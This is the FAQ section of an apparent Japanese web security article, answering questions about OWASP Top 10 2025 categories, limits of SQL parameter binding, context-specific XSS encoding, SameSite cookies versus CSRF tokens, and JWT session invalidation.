Q4: セキュリティチェックリストの主な特徴は何ですか? Q1. 共通鍵暗号と公開鍵暗号の違いとそれぞれの用途は? Q2. bcryptがSHA-256よりパスワード保存に安全な理由は? Q3. SQL Injectionの根本原因と防御法は? Q4. XSSとCSRFの違いは? Q5. TLSハンドシェイクで共通鍵と公開鍵がそれぞれ使われる段階は? Q6. Zero Trustの3原則は? Q7. HSTSヘッダーの役割は?

Q5: この記事が引用するOWASP Top 10はどの版で、SQL InjectionとXSSはどこに属しますか? 2025年版です。どちらもA05:2025 Injectionに属し、A05の文書はXSS(CWE-79)をマッピングされたCWE一覧に含めています。IDORはA01:2025 Broken Access Controlに属します。社内ガイドに版を書かず「Top 10準拠」とだけ書いてあると、どの一覧を指すのか分かりません。

Q6: パラメータバインディングが守れない位置はどこですか? バインド変数を使えない位置です。OWASP SQL Injection Prevention Cheat Sheetはテーブル名、カラム名、ソート順の指示子(ASCまたはDESC)を挙げ、こうした部分には入力検証かクエリの再設計が適切で、具体的には正当な名前へのマッピングを勧めています。

Q7: HTMLエスケープだけではXSSを防げないのはなぜですか? 出力エンコーディングはエンコードしたそのコンテキストでしか効かないからです。HTML本文、HTML属性、JavaScript、URL、CSSはそれぞれ異なるエンコーディングを要求します。OWASPの文書は、JavaScriptコンテキストで変数を置ける安全な場所は引用符で囲まれたデータ値の中だけで、それ以外はすべて安全ではないと明言しています。

Q8: SameSite CookieでCSRFトークンを置き換えられますか? 置き換えられません。OWASP CSRF Prevention Cheat Sheetは、SameSiteは多層防御の統制としては有用だが、ほとんどのデプロイで適切なCSRF防御を置き換えるものではないと述べています。ブラウザの既定値にも頼れず、古いブラウザではSameSite値が設定されていないかのように振る舞う可能性があります。さらにXSSが残っていればすべてのCSRF緩和策が無効化されます。

Q9: JWTをセッションとして使うとき、必ず併せて設計すべきものは何ですか? セッション無効化の経路です。OWASP JSON Web Token Cheat Sheetは、ユーザーセッションにJWTを使うならセッション無効化を管理する方法が必要で、失効したセッションとトークンの拒否リストで実現できると述べています。検証時に受け入れるアルゴリズムを固定することも併せて必要です。

コメント

まだコメントはありません。

ログインするとコメントできます